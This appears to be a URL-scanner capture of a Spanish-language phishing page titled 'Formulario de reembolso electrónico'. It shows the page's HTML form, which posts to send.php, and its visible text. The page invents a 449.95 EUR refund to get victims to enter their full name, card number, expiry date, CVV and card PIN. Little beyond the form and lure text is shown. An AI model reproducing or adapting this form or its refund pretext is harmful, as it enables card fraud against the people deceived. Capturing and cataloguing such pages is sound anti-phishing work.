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1 forms found in the DOM

POST send.php

<form action="send.php" method="post" id="card" novalidate="novalidate">
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    <p><span>*</span> Nombre completo</p>
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    <p><span>*</span> Número de tarjeta</p>
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    <p><span>*</span> Fecha de caducidad</p>
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    <p><span>*</span> Código de seguridad</p>
    <input type="text" class="textinput" name="cvv" required="" inputmode="numeric" id="cvv" placeholder="Código de seguridad (CVV)" maxlength="3">
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    <p><span>*</span> Pin de tarjeta</p>
    <input type="text" class="textinput" name="pin" inputmode="numeric" id="pin" required="" placeholder="Pin de tarjeta" maxlength="4">
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  <div class="col">
    <p style=" align-items:center;"><span>*</span><input type="checkbox" style="margin:0 5px; width:16px; height:16px;"> Acepto&nbsp;<b>las condiciones</b>&nbsp;de uso de este servicio.</p>
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    <button type="submit" class="sbmt">Continuar</button>
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Text Content

FORMULARIO DE REEMBOLSO ELECTRÓNICO


DETALLES DE LA OPERACIÓN :

Número de orden : ES7SKLP3Z3 Cantidad devuelta : 449.95 EURO


INFORMACIÓN DE LA TARJETA

El reembolso irá a la información de pago proporcionada.

* Nombre completo

* Número de tarjeta

* Fecha de caducidad

* Código de seguridad

* Pin de tarjeta

* Acepto las condiciones de uso de este servicio.

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